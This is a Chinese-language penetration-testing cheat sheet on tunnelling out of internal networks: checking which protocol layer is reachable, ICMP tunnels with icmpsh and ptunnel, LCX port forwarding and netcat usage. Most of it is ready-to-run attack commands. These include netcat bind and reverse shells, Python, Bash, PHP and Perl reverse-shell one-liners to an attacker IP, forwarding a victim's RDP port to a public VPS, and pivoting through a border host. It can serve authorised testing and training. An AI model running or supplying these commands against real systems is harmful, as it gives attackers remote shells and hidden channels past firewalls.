0x00 内网连通性判定
判断内网哪一层协议连通,使用对应隧道技术穿透。
1、网络层隧道
PS:判定连通工具,ping ip
2、传输层隧道
PS:判定连通工具,nc ip port
3、应用层隧道
PS:判定连通工具,Curl ip:port
PS:判定连通工具
nslookup 网址 [ip]
dig [@ip] 网址
0x01 网络层隧道
ICMPSH工具
安装
下载链接: git clone https://github.com/inquisb/icmpsh.git
apt-get install python-impacket
sysctl -w net.ipv4.icmp_echo_ignore_all=1
|
环境
攻击机:kali 192.168.0.118 防火墙:monowall 192.168.0.116(外网) 192.168.1.1(内网) 受控机:windows7 192.168.1.4
攻击机运行命令 ./icmp_m.py 192.168.0.118 192.168.0.116
受控机运行命令 ./icmp_m.exe -t 192.168.0.118
|
反弹成功
PingTunnel工具
安装
下载地址: https://pkgs.org/download/ptunnel
解压 tar-zxvf pingtunnel-0.72.tar.gz
切换目录 cd pingtunnel
编译 make && make install
如出现问题1:缺少pcap.h wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz tar zxvf libpcap-1.9.0.tar.gz cd libpcap-1.9.0 ./configure
如出现问题2:yacc包错误 sudo apt-get install -y byacc ./configure make sudo make install
kali安装命令(PS:kali自带) apt install ptunnel
|
ptunnel参数
-x 指定icmp隧道连接验证密码 -lp 指定要监听的本地tcp端口 -da 指定要转发到机器的ip地址 -dp 指定要转发到机器的tcp端口 -p 指定icmp隧道另一端的ip地址
|
环境
受控机:192.168.1.4(内网) 跳板机:192.168.1.7(内网),192.168.0.119(外网) VPS: 192.168.0.118(外网) 攻击机:192.168.0.120
攻击机->VPS(安装ptunnel)->跳板机(安装ptunnel)->受控机
|
VPS运行命令
ptunnel -p 192.168.0.119 -lp 1080 -da 192.168.1.4 -dp 3389 -x shuteer
|
跳板机运行命令
攻击机通过远程连接访问192.168.0.118:1080
0x02 传输层隧道
LCX端口转发
内网端口转发
目标机:将目标机的3389端口转发到公网4444端口 lcx -slave ip(公网ip) 4444 127.0.0.1 3389 公网VPS:将本机的4444端口流量转发到本机5555端口 lcx -listen 4444 5555
|
本地端口映射
NetCat
安装
windows https://joncraton.org/files/nc111nt.zip https://joncraton.org/files/nc111nt_safe.zip
linux(kali自带) sudo yum install nc.x86_64
|
参数
-d 后台模式 -e 程序重定向 -h 在线帮助 -l 使用监听模式,管理和控制传入的数据 -n 直接使用ip地址(不通过域名服务器) -r 随机指定本地与远程主机的通信端口 -s<源地址> 设置本地主机送出的数据包的ip地址 -u 使用udp传输协议 -v 详细输出 -z 将输入/输出功能关闭,只在扫描通信端口时使用 -g<网关> 设置路由器跃程通信网关,最多可设置8个 -G<指向器数目> 设置源路由指向器的数量,值为4的倍数 -o<输出文件> 指定文件名称,把往来传输的数据转换为十六进制字节码后保存在该文件中 -p<通信端口> 设置本地主机使用的通信端口 -w<超时秒数> 设置等待连线的时间 -i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口
|
Banner信息抓取
抓取3389端口信息 nc -nv 192.168.1.4 3389
|
端口扫描
扫描1-65535之间开放端口 nc -v -z 192.168.1.4 1-65535
|
端口监听
文件传输
本机命令:nc -lp 333 >1.txt 目标机: nc -vn 192.168.1.7 333 < 1.txt -q 1
|
本机
目标机
简易聊天
本机:nc -l -p 888 目标机:nc -vn 192.168.1.7 888
|
本机
目标机
获取shell
1、正向反弹shell
目标机: nc -lvp 4444 -e /bin/sh (linux命令) nc -lvp 4444 -e C:\WINDOWS\system32\cmd.exe (windows命令) 攻击机: nc 192.168.1.4 4444
|
目标机
攻击机
2、反向反弹shell
攻击机: nc -lvp 5555
目标机: nc 192.168.1.7 5555 -e /bin/sh //linux nc 192.168.1.7 5555 -e C:\WINDOWS\system32\cmd.exe //windows
|
目标机
攻击机
3、Python反向反弹shell
攻击机: nc -lvp 2222 目标机: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.43.239",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
|
攻击机
目标机
3、Bash反弹shell
攻击机: nc -lvp 6666 目标机: bash -i >& /dev/tcp/192.168.43.239/6666 0>&1
|
攻击机
目标机
4、PHP反弹shell
攻击机: nc -lvp 2222 目标机: php -r '$sock=fsockopen("192.168.43.239",2222);exec("/bin/sh -i <&3 >&3 2>&3");'
|
攻击机
目标机
5、Perl反弹shell
攻击机: nc -lvp 5555 目标机: perl -e 'use Socket;$i="192.168.43.239";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
攻击机
目标机
6、内网代理
攻击机(192.168.43.239):nc -lvp 3333 目标机(192.168.1.4):nc -lvp 3333 -e C:\WINDOWS\system32\cmd.exe 边界服务器(kali边界):nc -lvp 192.168.43.239 3333 -c "nc -v 192.168.1.4 3333"
|